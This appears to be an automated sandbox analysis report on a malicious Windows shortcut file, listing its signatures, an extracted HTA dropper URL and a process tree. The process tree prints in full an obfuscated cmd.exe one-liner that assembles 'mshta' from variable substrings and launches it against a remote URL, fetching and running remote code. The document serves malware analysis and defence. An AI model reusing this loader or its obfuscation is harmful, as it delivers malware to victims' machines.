Analysis

  • max time kernel
    40s
  • max time network
    42s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 16:47

General

  • Target
    DOC-4SJ2IM.lnk
  • Size 2KB
  • Sample260803-vaxe2afn2t
  • SHA256 c5affdf8f5813918b3cb42275d2c2521287be2293d44c96c3c55d9ffacfb0dd1
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4SJ2IM.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4556
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set oTPAx=infqmbsciceenkiirdzezinf&&set mp=dbgaxzgvddbg&&set tKqiY=logmuuulog&&set LN=cmo&&set YIie=862shtk&&set NS=bkabu&&set jJ=dbggpzukawgdbg&&set hw=infjsgjpbzndzneinf&&set bNkr=winwkfdqtogvppftwyypaetmdwin&&set WX=sysblvbzcpwponejnkbqfttmhsys&&set KWAN=dbgfmvwhcdctqdbg&&set lBWsK=2odsgv6&&set zeH=k6qts3a&&set zAn=5u0artci&&set lg=h@tt@ps:@//@[email protected]@a@t/h/[email protected]@hp@?r=3@9@1469FB@5@D82@DB&&start /b !LN:~1,1!!YIie:~3,3!!NS:~2,1! !lg:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4660
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5660

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads